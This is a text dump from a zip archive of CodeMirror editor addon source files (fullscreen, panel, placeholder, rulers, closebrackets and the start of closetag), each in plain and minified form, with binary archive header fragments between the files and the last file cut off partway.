// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("fullScreen", false, function(cm, val,
old) {
    if (old == CodeMirror.Init) old = false;
    if (!old == !val) return;
    if (val) setFullscreen(cm);
    else setNormal(cm);
  });

  function setFullscreen(cm) {
    var wrap = cm.getWrapperElement();
    cm.state.fullScreenRestore = {scrollTop: window.pageYOffset,
scrollLeft: window.pageXOffset,
                                  width: wrap.style.width, height:
wrap.style.height};
    wrap.style.width = "";
    wrap.style.height = "auto";
    wrap.className += " CodeMirror-fullscreen";
    document.documentElement.style.overflow = "hidden";
    cm.refresh();
  }

  function setNormal(cm) {
    var wrap = cm.getWrapperElement();
    wrap.className = wrap.className.replace(/\s*CodeMirror-fullscreen\b/,
"");
    document.documentElement.style.overflow = "";
    var info = cm.state.fullScreenRestore;
    wrap.style.width = info.width; wrap.style.height = info.height;
    window.scrollTo(info.scrollLeft, info.scrollTop);
    cm.refresh();
  }
});
PK5��['C:ZZ+codemirror/addon/display/fullscreen.min.cssnu�[���.CodeMirror-fullscreen{position:fixed;top:0;left:0;right:0;bottom:0;height:auto;z-index:9}PK5��[d�%��*codemirror/addon/display/fullscreen.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){var
b=a.getWrapperElement();a.state.fullScreenRestore={scrollTop:window.pageYOffset,scrollLeft:window.pageXOffset,width:b.style.width,height:b.style.height},b.style.width="",b.style.height="auto",b.className+="
CodeMirror-fullscreen",document.documentElement.style.overflow="hidden",a.refresh()}function
c(a){var
b=a.getWrapperElement();b.className=b.className.replace(/\s*CodeMirror-fullscreen\b/,""),document.documentElement.style.overflow="";var
c=a.state.fullScreenRestore;b.style.width=c.width,b.style.height=c.height,window.scrollTo(c.scrollLeft,c.scrollTop),a.refresh()}a.defineOption("fullScreen",!1,(function(d,e,f){f==a.Init&&(f=!1),!f!=!e&&(e?b(d):c(d))}))}));PK5��[�6��YY!codemirror/addon/display/panel.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function (mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function (CodeMirror) {
  CodeMirror.defineExtension("addPanel", function (node, options)
{
    options = options || {};

    if (!this.state.panels) initPanels(this);

    var info = this.state.panels;
    var wrapper = info.wrapper;
    var cmWrapper = this.getWrapperElement();
    var replace = options.replace instanceof Panel &&
!options.replace.cleared;

    if (options.after instanceof Panel && !options.after.cleared) {
      wrapper.insertBefore(node, options.before.node.nextSibling);
    } else if (options.before instanceof Panel &&
!options.before.cleared) {
      wrapper.insertBefore(node, options.before.node);
    } else if (replace) {
      wrapper.insertBefore(node, options.replace.node);
      options.replace.clear(true);
    } else if (options.position == "bottom") {
      wrapper.appendChild(node);
    } else if (options.position == "before-bottom") {
      wrapper.insertBefore(node, cmWrapper.nextSibling);
    } else if (options.position == "after-top") {
      wrapper.insertBefore(node, cmWrapper);
    } else {
      wrapper.insertBefore(node, wrapper.firstChild);
    }

    var height = (options && options.height) || node.offsetHeight;

    var panel = new Panel(this, node, options, height);
    info.panels.push(panel);

    this.setSize();
    if (options.stable && isAtTop(this, node))
      this.scrollTo(null, this.getScrollInfo().top + height);

    return panel;
  });

  function Panel(cm, node, options, height) {
    this.cm = cm;
    this.node = node;
    this.options = options;
    this.height = height;
    this.cleared = false;
  }

  /* when skipRemove is true, clear() was called from addPanel().
   * Thus removePanels() should not be called (issue 5518) */
  Panel.prototype.clear = function (skipRemove) {
    if (this.cleared) return;
    this.cleared = true;
    var info = this.cm.state.panels;
    info.panels.splice(info.panels.indexOf(this), 1);
    this.cm.setSize();
    if (this.options.stable && isAtTop(this.cm, this.node))
      this.cm.scrollTo(null, this.cm.getScrollInfo().top - this.height)
    info.wrapper.removeChild(this.node);
    if (info.panels.length == 0 && !skipRemove)
removePanels(this.cm);
  };

  Panel.prototype.changed = function () {
    this.height = this.node.getBoundingClientRect().height;
    this.cm.setSize();
  };

  function initPanels(cm) {
    var wrap = cm.getWrapperElement();
    var style = window.getComputedStyle ? window.getComputedStyle(wrap) :
wrap.currentStyle;
    var height = parseInt(style.height);
    var info = cm.state.panels = {
      setHeight: wrap.style.height,
      panels: [],
      wrapper: document.createElement("div")
    };
    wrap.parentNode.insertBefore(info.wrapper, wrap);
    var hasFocus = cm.hasFocus();
    info.wrapper.appendChild(wrap);
    if (hasFocus) cm.focus();

    cm._setSize = cm.setSize;
    if (height != null) cm.setSize = function (width, newHeight) {
      if (!newHeight) newHeight = info.wrapper.offsetHeight;
      info.setHeight = newHeight;
      if (typeof newHeight != "number") {
        var px = /^(\d+\.?\d*)px$/.exec(newHeight);
        if (px) {
          newHeight = Number(px[1]);
        } else {
          info.wrapper.style.height = newHeight;
          newHeight = info.wrapper.offsetHeight;
        }
      }
      var editorheight = newHeight - info.panels
        .map(function (p) { return p.node.getBoundingClientRect().height;
})
        .reduce(function (a, b) { return a + b; }, 0);
      cm._setSize(width, editorheight);
      height = newHeight;
    };
  }

  function removePanels(cm) {
    var info = cm.state.panels;
    cm.state.panels = null;

    var wrap = cm.getWrapperElement();
    info.wrapper.parentNode.replaceChild(wrap, info.wrapper);
    wrap.style.height = info.setHeight;
    cm.setSize = cm._setSize;
    cm.setSize();
  }

  function isAtTop(cm, dom) {
    for (var sibling = dom.nextSibling; sibling; sibling =
sibling.nextSibling)
      if (sibling == cm.getWrapperElement()) return true
    return false
  }
});
PK5��[�O�	�	%codemirror/addon/display/panel.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a,b,c,d){this.cm=a,this.node=b,this.options=c,this.height=d,this.cleared=!1}function
c(a){var
b=a.getWrapperElement(),c=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,d=parseInt(c.height),e=a.state.panels={setHeight:b.style.height,panels:[],wrapper:document.createElement("div")};b.parentNode.insertBefore(e.wrapper,b);var
f=a.hasFocus();e.wrapper.appendChild(b),f&&a.focus(),a._setSize=a.setSize,null!=d&&(a.setSize=function(b,c){if(c||(c=e.wrapper.offsetHeight),e.setHeight=c,"number"!=typeof
c){var
f=/^(\d+\.?\d*)px$/.exec(c);f?c=Number(f[1]):(e.wrapper.style.height=c,c=e.wrapper.offsetHeight)}var
g=c-e.panels.map((function(a){return
a.node.getBoundingClientRect().height})).reduce((function(a,b){return
a+b}),0);a._setSize(b,g),d=c})}function d(a){var
b=a.state.panels;a.state.panels=null;var
c=a.getWrapperElement();b.wrapper.parentNode.replaceChild(c,b.wrapper),c.style.height=b.setHeight,a.setSize=a._setSize,a.setSize()}function
e(a,b){for(var
c=b.nextSibling;c;c=c.nextSibling)if(c==a.getWrapperElement())return!0;return!1}a.defineExtension("addPanel",(function(a,d){d=d||{},this.state.panels||c(this);var
f=this.state.panels,g=f.wrapper,h=this.getWrapperElement(),i=d.replace
instanceof b&&!d.replace.cleared;d.after instanceof
b&&!d.after.cleared?g.insertBefore(a,d.before.node.nextSibling):d.before
instanceof
b&&!d.before.cleared?g.insertBefore(a,d.before.node):i?(g.insertBefore(a,d.replace.node),d.replace.clear(!0)):"bottom"==d.position?g.appendChild(a):"before-bottom"==d.position?g.insertBefore(a,h.nextSibling):"after-top"==d.position?g.insertBefore(a,h):g.insertBefore(a,g.firstChild);var
j=d&&d.height||a.offsetHeight,k=new b(this,a,d,j);return
f.panels.push(k),this.setSize(),d.stable&&e(this,a)&&this.scrollTo(null,this.getScrollInfo().top+j),k})),b.prototype.clear=function(a){if(!this.cleared){this.cleared=!0;var
b=this.cm.state.panels;b.panels.splice(b.panels.indexOf(this),1),this.cm.setSize(),this.options.stable&&e(this.cm,this.node)&&this.cm.scrollTo(null,this.cm.getScrollInfo().top-this.height),b.wrapper.removeChild(this.node),0!=b.panels.length||a||d(this.cm)}},b.prototype.changed=function(){this.height=this.node.getBoundingClientRect().height,this.cm.setSize()}}));PK5��[|�ʗ��'codemirror/addon/display/placeholder.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("placeholder", "",
function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.on("blur", onBlur);
      cm.on("change", onChange);
      cm.on("swapDoc", onChange);
      onChange(cm);
    } else if (!val && prev) {
      cm.off("blur", onBlur);
      cm.off("change", onChange);
      cm.off("swapDoc", onChange);
      clearPlaceholder(cm);
      var wrapper = cm.getWrapperElement();
      wrapper.className = wrapper.className.replace("
CodeMirror-empty", "");
    }

    if (val && !cm.hasFocus()) onBlur(cm);
  });

  function clearPlaceholder(cm) {
    if (cm.state.placeholder) {
      cm.state.placeholder.parentNode.removeChild(cm.state.placeholder);
      cm.state.placeholder = null;
    }
  }
  function setPlaceholder(cm) {
    clearPlaceholder(cm);
    var elt = cm.state.placeholder =
document.createElement("pre");
    elt.style.cssText = "height: 0; overflow: visible";
    elt.style.direction = cm.getOption("direction");
    elt.className = "CodeMirror-placeholder
CodeMirror-line-like";
    var placeHolder = cm.getOption("placeholder")
    if (typeof placeHolder == "string") placeHolder =
document.createTextNode(placeHolder)
    elt.appendChild(placeHolder)
    cm.display.lineSpace.insertBefore(elt,
cm.display.lineSpace.firstChild);
  }

  function onBlur(cm) {
    if (isEmpty(cm)) setPlaceholder(cm);
  }
  function onChange(cm) {
    var wrapper = cm.getWrapperElement(), empty = isEmpty(cm);
    wrapper.className = wrapper.className.replace("
CodeMirror-empty", "") + (empty ? "
CodeMirror-empty" : "");

    if (empty) setPlaceholder(cm);
    else clearPlaceholder(cm);
  }

  function isEmpty(cm) {
    return (cm.lineCount() === 1) && (cm.getLine(0) ===
"");
  }
});
PK5��[an����+codemirror/addon/display/placeholder.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a){a.state.placeholder&&(a.state.placeholder.parentNode.removeChild(a.state.placeholder),a.state.placeholder=null)}function
c(a){b(a);var
c=a.state.placeholder=document.createElement("pre");c.style.cssText="height:
0; overflow:
visible",c.style.direction=a.getOption("direction"),c.className="CodeMirror-placeholder
CodeMirror-line-like";var
d=a.getOption("placeholder");"string"==typeof
d&&(d=document.createTextNode(d)),c.appendChild(d),a.display.lineSpace.insertBefore(c,a.display.lineSpace.firstChild)}function
d(a){f(a)&&c(a)}function e(a){var
d=a.getWrapperElement(),e=f(a);d.className=d.className.replace("
CodeMirror-empty","")+(e?"
CodeMirror-empty":""),e?c(a):b(a)}function f(a){return
1===a.lineCount()&&""===a.getLine(0)}a.defineOption("placeholder","",(function(c,f,g){var
h=g&&g!=a.Init;if(f&&!h)c.on("blur",d),c.on("change",e),c.on("swapDoc",e),e(c);else
if(!f&&h){c.off("blur",d),c.off("change",e),c.off("swapDoc",e),b(c);var
i=c.getWrapperElement();i.className=i.className.replace("
CodeMirror-empty","")}f&&!c.hasFocus()&&d(c)}))}));PK5��[S�O�||"codemirror/addon/display/rulers.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("rulers", false, function(cm, val) {
    if (cm.state.rulerDiv) {
      cm.state.rulerDiv.parentElement.removeChild(cm.state.rulerDiv)
      cm.state.rulerDiv = null
      cm.off("refresh", drawRulers)
    }
    if (val && val.length) {
      cm.state.rulerDiv =
cm.display.lineSpace.parentElement.insertBefore(document.createElement("div"),
cm.display.lineSpace)
      cm.state.rulerDiv.className = "CodeMirror-rulers"
      drawRulers(cm)
      cm.on("refresh", drawRulers)
    }
  });

  function drawRulers(cm) {
    cm.state.rulerDiv.textContent = ""
    var val = cm.getOption("rulers");
    var cw = cm.defaultCharWidth();
    var left = cm.charCoords(CodeMirror.Pos(cm.firstLine(), 0),
"div").left;
    cm.state.rulerDiv.style.minHeight = (cm.display.scroller.offsetHeight +
30) + "px";
    for (var i = 0; i < val.length; i++) {
      var elt = document.createElement("div");
      elt.className = "CodeMirror-ruler";
      var col, conf = val[i];
      if (typeof conf == "number") {
        col = conf;
      } else {
        col = conf.column;
        if (conf.className) elt.className += " " +
conf.className;
        if (conf.color) elt.style.borderColor = conf.color;
        if (conf.lineStyle) elt.style.borderLeftStyle = conf.lineStyle;
        if (conf.width) elt.style.borderLeftWidth = conf.width;
      }
      elt.style.left = (left + col * cw) + "px";
      cm.state.rulerDiv.appendChild(elt)
    }
  }
});
PK5��[5r���&codemirror/addon/display/rulers.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(b){b.state.rulerDiv.textContent="";var
c=b.getOption("rulers"),d=b.defaultCharWidth(),e=b.charCoords(a.Pos(b.firstLine(),0),"div").left;b.state.rulerDiv.style.minHeight=b.display.scroller.offsetHeight+30+"px";for(var
f=0;f<c.length;f++){var
g=document.createElement("div");g.className="CodeMirror-ruler";var
h,i=c[f];"number"==typeof
i?h=i:(h=i.column,i.className&&(g.className+="
"+i.className),i.color&&(g.style.borderColor=i.color),i.lineStyle&&(g.style.borderLeftStyle=i.lineStyle),i.width&&(g.style.borderLeftWidth=i.width)),g.style.left=e+h*d+"px",b.state.rulerDiv.appendChild(g)}}a.defineOption("rulers",!1,(function(a,c){a.state.rulerDiv&&(a.state.rulerDiv.parentElement.removeChild(a.state.rulerDiv),a.state.rulerDiv=null,a.off("refresh",b)),c&&c.length&&(a.state.rulerDiv=a.display.lineSpace.parentElement.insertBefore(document.createElement("div"),a.display.lineSpace),a.state.rulerDiv.className="CodeMirror-rulers",b(a),a.on("refresh",b))}))}));PK5��[�ui��&codemirror/addon/edit/closebrackets.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var defaults = {
    pairs: "()[]{}''\"\"",
    closeBefore: ")]}'\":;>",
    triples: "",
    explode: "[]{}"
  };

  var Pos = CodeMirror.Pos;

  CodeMirror.defineOption("autoCloseBrackets", false,
function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.removeKeyMap(keyMap);
      cm.state.closeBrackets = null;
    }
    if (val) {
      ensureBound(getOption(val, "pairs"))
      cm.state.closeBrackets = val;
      cm.addKeyMap(keyMap);
    }
  });

  function getOption(conf, name) {
    if (name == "pairs" && typeof conf ==
"string") return conf;
    if (typeof conf == "object" && conf[name] != null)
return conf[name];
    return defaults[name];
  }

  var keyMap = {Backspace: handleBackspace, Enter: handleEnter};
  function ensureBound(chars) {
    for (var i = 0; i < chars.length; i++) {
      var ch = chars.charAt(i), key = "'" + ch +
"'"
      if (!keyMap[key]) keyMap[key] = handler(ch)
    }
  }
  ensureBound(defaults.pairs + "`")

  function handler(ch) {
    return function(cm) { return handleChar(cm, ch); };
  }

  function getConfig(cm) {
    var deflt = cm.state.closeBrackets;
    if (!deflt || deflt.override) return deflt;
    var mode = cm.getModeAt(cm.getCursor());
    return mode.closeBrackets || deflt;
  }

  function handleBackspace(cm) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return
CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || pairs.indexOf(around) % 2 != 0) return
CodeMirror.Pass;
    }
    for (var i = ranges.length - 1; i >= 0; i--) {
      var cur = ranges[i].head;
      cm.replaceRange("", Pos(cur.line, cur.ch - 1),
Pos(cur.line, cur.ch + 1), "+delete");
    }
  }

  function handleEnter(cm) {
    var conf = getConfig(cm);
    var explode = conf && getOption(conf, "explode");
    if (!explode || cm.getOption("disableInput")) return
CodeMirror.Pass;

    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || explode.indexOf(around) % 2 != 0) return
CodeMirror.Pass;
    }
    cm.operation(function() {
      var linesep = cm.lineSeparator() || "\n";
      cm.replaceSelection(linesep + linesep, null);
      cm.execCommand("goCharLeft");
      ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var line = ranges[i].head.line;
        cm.indentLine(line, null, true);
        cm.indentLine(line + 1, null, true);
      }
    });
  }

  function contractSelection(sel) {
    var inverted = CodeMirror.cmpPos(sel.anchor, sel.head) > 0;
    return {anchor: new Pos(sel.anchor.line, sel.anchor.ch + (inverted ? -1
: 1)),
            head: new Pos(sel.head.line, sel.head.ch + (inverted ? 1 :
-1))};
  }

  function handleChar(cm, ch) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return
CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var pos = pairs.indexOf(ch);
    if (pos == -1) return CodeMirror.Pass;

    var closeBefore = getOption(conf,"closeBefore");

    var triples = getOption(conf, "triples");

    var identical = pairs.charAt(pos + 1) == ch;
    var ranges = cm.listSelections();
    var opening = pos % 2 == 0;

    var type;
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], cur = range.head, curType;
      var next = cm.getRange(cur, Pos(cur.line, cur.ch + 1));
      if (opening && !range.empty()) {
        curType = "surround";
      } else if ((identical || !opening) && next == ch) {
        if (identical && stringStartsAfter(cm, cur))
          curType = "both";
        else if (triples.indexOf(ch) >= 0 && cm.getRange(cur,
Pos(cur.line, cur.ch + 3)) == ch + ch + ch)
          curType = "skipThree";
        else
          curType = "skip";
      } else if (identical && cur.ch > 1 &&
triples.indexOf(ch) >= 0 &&
                 cm.getRange(Pos(cur.line, cur.ch - 2), cur) == ch + ch) {
        if (cur.ch > 2 &&
/\bstring/.test(cm.getTokenTypeAt(Pos(cur.line, cur.ch - 2)))) return
CodeMirror.Pass;
        curType = "addFour";
      } else if (identical) {
        var prev = cur.ch == 0 ? " " : cm.getRange(Pos(cur.line,
cur.ch - 1), cur)
        if (!CodeMirror.isWordChar(next) && prev != ch &&
!CodeMirror.isWordChar(prev)) curType = "both";
        else return CodeMirror.Pass;
      } else if (opening && (next.length === 0 || /\s/.test(next)
|| closeBefore.indexOf(next) > -1)) {
        curType = "both";
      } else {
        return CodeMirror.Pass;
      }
      if (!type) type = curType;
      else if (type != curType) return CodeMirror.Pass;
    }

    var left = pos % 2 ? pairs.charAt(pos - 1) : ch;
    var right = pos % 2 ? ch : pairs.charAt(pos + 1);
    cm.operation(function() {
      if (type == "skip") {
        cm.execCommand("goCharRight");
      } else if (type == "skipThree") {
        for (var i = 0; i < 3; i++)
          cm.execCommand("goCharRight");
      } else if (type == "surround") {
        var sels = cm.getSelections();
        for (var i = 0; i < sels.length; i++)
          sels[i] = left + sels[i] + right;
        cm.replaceSelections(sels, "around");
        sels = cm.listSelections().slice();
        for (var i = 0; i < sels.length; i++)
          sels[i] = contractSelection(sels[i]);
        cm.setSelections(sels);
      } else if (type == "both") {
        cm.replaceSelection(left + right, null);
        cm.triggerElectric(left + right);
        cm.execCommand("goCharLeft");
      } else if (type == "addFour") {
        cm.replaceSelection(left + left + left + left, "before");
        cm.execCommand("goCharRight");
      }
    });
  }

  function charsAround(cm, pos) {
    var str = cm.getRange(Pos(pos.line, pos.ch - 1),
                          Pos(pos.line, pos.ch + 1));
    return str.length == 2 ? str : null;
  }

  function stringStartsAfter(cm, pos) {
    var token = cm.getTokenAt(Pos(pos.line, pos.ch + 1))
    return /\bstring/.test(token.type) && token.start == pos.ch
&&
      (pos.ch == 0 || !/\bstring/.test(cm.getTokenTypeAt(pos)))
  }
});
PK5��[$?*+�
�
*codemirror/addon/edit/closebrackets.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a,b){return"pairs"==b&&"string"==typeof
a?a:"object"==typeof a&&null!=a[b]?a[b]:l[b]}function
c(a){for(var b=0;b<a.length;b++){var
c=a.charAt(b),e="'"+c+"'";n[e]||(n[e]=d(c))}}function
d(a){return function(b){return i(b,a)}}function e(a){var
b=a.state.closeBrackets;return!b||b.override?b:a.getModeAt(a.getCursor()).closeBrackets||b}function
f(c){var d=e(c);if(!d||c.getOption("disableInput"))return
a.Pass;for(var
f=b(d,"pairs"),g=c.listSelections(),h=0;h<g.length;h++){if(!g[h].empty())return
a.Pass;var i=j(c,g[h].head);if(!i||f.indexOf(i)%2!=0)return a.Pass}for(var
h=g.length-1;h>=0;h--){var
k=g[h].head;c.replaceRange("",m(k.line,k.ch-1),m(k.line,k.ch+1),"+delete")}}function
g(c){var
d=e(c),f=d&&b(d,"explode");if(!f||c.getOption("disableInput"))return
a.Pass;for(var
g=c.listSelections(),h=0;h<g.length;h++){if(!g[h].empty())return
a.Pass;var i=j(c,g[h].head);if(!i||f.indexOf(i)%2!=0)return
a.Pass}c.operation((function(){var
a=c.lineSeparator()||"\n";c.replaceSelection(a+a,null),c.execCommand("goCharLeft"),g=c.listSelections();for(var
b=0;b<g.length;b++){var
d=g[b].head.line;c.indentLine(d,null,!0),c.indentLine(d+1,null,!0)}}))}function
h(b){var c=a.cmpPos(b.anchor,b.head)>0;return{anchor:new
m(b.anchor.line,b.anchor.ch+(c?-1:1)),head:new
m(b.head.line,b.head.ch+(c?1:-1))}}function i(c,d){var
f=e(c);if(!f||c.getOption("disableInput"))return a.Pass;var
g=b(f,"pairs"),i=g.indexOf(d);if(-1==i)return a.Pass;for(var
j,l=b(f,"closeBefore"),n=b(f,"triples"),o=g.charAt(i+1)==d,p=c.listSelections(),q=i%2==0,r=0;r<p.length;r++){var
s,t=p[r],u=t.head,v=c.getRange(u,m(u.line,u.ch+1));if(q&&!t.empty())s="surround";else
if(!o&&q||v!=d)if(o&&u.ch>1&&n.indexOf(d)>=0&&c.getRange(m(u.line,u.ch-2),u)==d+d){if(u.ch>2&&/\bstring/.test(c.getTokenTypeAt(m(u.line,u.ch-2))))return
a.Pass;s="addFour"}else if(o){var w=0==u.ch?"
":c.getRange(m(u.line,u.ch-1),u);if(a.isWordChar(v)||w==d||a.isWordChar(w))return
a.Pass;s="both"}else{if(!q||!(0===v.length||/\s/.test(v)||l.indexOf(v)>-1))return
a.Pass;s="both"}else
s=o&&k(c,u)?"both":n.indexOf(d)>=0&&c.getRange(u,m(u.line,u.ch+3))==d+d+d?"skipThree":"skip";if(j){if(j!=s)return
a.Pass}else j=s}var
x=i%2?g.charAt(i-1):d,y=i%2?d:g.charAt(i+1);c.operation((function(){if("skip"==j)c.execCommand("goCharRight");else
if("skipThree"==j)for(var
a=0;a<3;a++)c.execCommand("goCharRight");else
if("surround"==j){for(var
b=c.getSelections(),a=0;a<b.length;a++)b[a]=x+b[a]+y;c.replaceSelections(b,"around"),b=c.listSelections().slice();for(var
a=0;a<b.length;a++)b[a]=h(b[a]);c.setSelections(b)}else"both"==j?(c.replaceSelection(x+y,null),c.triggerElectric(x+y),c.execCommand("goCharLeft")):"addFour"==j&&(c.replaceSelection(x+x+x+x,"before"),c.execCommand("goCharRight"))}))}function
j(a,b){var c=a.getRange(m(b.line,b.ch-1),m(b.line,b.ch+1));return
2==c.length?c:null}function k(a,b){var
c=a.getTokenAt(m(b.line,b.ch+1));return/\bstring/.test(c.type)&&c.start==b.ch&&(0==b.ch||!/\bstring/.test(a.getTokenTypeAt(b)))}var
l={pairs:"()[]{}''\"\"",closeBefore:")]}'\":;>",triples:"",explode:"[]{}"},m=a.Pos;a.defineOption("autoCloseBrackets",!1,(function(d,e,f){f&&f!=a.Init&&(d.removeKeyMap(n),d.state.closeBrackets=null),e&&(c(b(e,"pairs")),d.state.closeBrackets=e,d.addKeyMap(n))}));var
n={Backspace:f,Enter:g};c(l.pairs+"`")}));PK5��[�4�J!J!!codemirror/addon/edit/closetag.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**
 * Tag-closer extension for CodeMirror.
 *
 * This extension adds an "autoCloseTags" option that can be set
to
 * either true to get the default behavior, or an object to further
 * configure its behavior.
 *
 * These are supported options:
 *
 * `whenClosing` (default true)
 *   Whether to autoclose when the '/' of a closing tag is typed.
 * `whenOpening` (default true)
 *   Whether to autoclose the tag when the final '>' of an
opening
 *   tag is typed.
 * `dontCloseTags` (default is empty tags for HTML, none for XML)
 *   An array of tag names that should not be autoclosed.
 * `indentTags` (default is block tags for HTML, none for XML)
 *   An array of tag names that should, when opened, cause a
 *   blank line to be added inside the tag, and the blank line and
 *   closing line to be indented.
 * `emptyTags` (default is none)
 *   An array of XML tag names that should be autoclosed with
'/>'.
 *
 * See demos/closetag.html for a usage example.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("autoCloseTags", false, function(cm,
val, old) {
    if (old != CodeMirror.Init && old)
      cm.removeKeyMap("autoCloseTags");
    if (!val) return;
    var map = {name: "autoCloseTags"};
    if (typeof val != "object" || val.whenClosing !== false)
      map["'/'"] = function(cm) { return
autoCloseSlash(cm); };
    if (typeof val != "object" || val.whenOpening !== false)
      map["'>'"] = function(cm) { return
autoCloseGT(cm); };
    cm.addKeyMap(map);
  });

  var htmlDontClose = ["area", "base", "br",
"col", "command", "embed", "hr",
"img", "input", "keygen", "link",
"meta", "param",
                       "source", "track",
"wbr"];
  var htmlIndent = ["applet", "blockquote",
"body", "button", "div", "dl",
"fieldset", "form", "frameset",
"h1", "h2", "h3", "h4",
                    "h5", "h6", "head",
"html", "iframe", "layer",
"legend", "object", "ol", "p",
"select", "table", "ul"];

  function autoCloseGT(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), replacements = [];
    var opt = cm.getOption("autoCloseTags");
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var pos = ranges[i].head, tok = cm.getTokenAt(pos);
      var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state =
inner.state;
      var tagInfo = inner.mode.xmlCurrentTag &&
inner.mode.xmlCurrentTag(state)
      var tagName = tagInfo && tagInfo.name
      if (!tagName) return CodeMirror.Pass

      var html = inner.mode.configuration == "html";
      var dontCloseTags = (typeof opt == "object" &&
opt.dontCloseTags) || (html && htmlDontClose);
      var indentTags = (typeof opt == "object" &&
opt.indentTags) || (html && htmlIndent);

      if (tok.end > pos.ch) tagName = tagName.slice(0, tagName.length -
tok.end + pos.ch);
      var lowerTagName = tagName.toLowerCase();
      // Don't process the '>' at the end of an end-tag
or self-closing tag
      if (!tagName ||
          tok.type == "string" && (tok.end != pos.ch ||
!/[\"\']/.test(tok.string.charAt(tok.string.length - 1)) ||
tok.string.length == 1) ||
          tok.type == "tag" && tagInfo.close ||
          tok.string.indexOf("/") == (pos.ch - tok.start - 1) ||
// match something like <someTagName />
          dontCloseTags && indexOf(dontCloseTags, lowerTagName)
> -1 ||
          closingTagExists(cm, inner.mode.xmlCurrentContext &&
inner.mode.xmlCurrentContext(state) || [], tagName, pos, true))
        return CodeMirror.Pass;

      var emptyTags = typeof opt == "object" &&
opt.emptyTags;
      if (emptyTags && indexOf(emptyTags, tagName) > -1) {
        replacements[i] = { text: "/>", newPos:
CodeMirror.Pos(pos.line, pos.ch + 2) };
        continue;
      }

      var indent = indentTags && indexOf(indentTags, lowerTagName)
> -1;
      replacements[i] = {indent: indent,
                         text: ">" + (indent ?
"\n\n" : "") + "</" + tagName +
">",
                         newPos: indent ? CodeMirror.Pos(pos.line + 1, 0) :
CodeMirror.Pos(pos.line, pos.ch + 1)};
    }

    var dontIndentOnAutoClose = (typeof opt == "object"
&& opt.dontIndentOnAutoClose);
    for (var i = ranges.length - 1; i >= 0; i--) {
      var info = replacements[i];
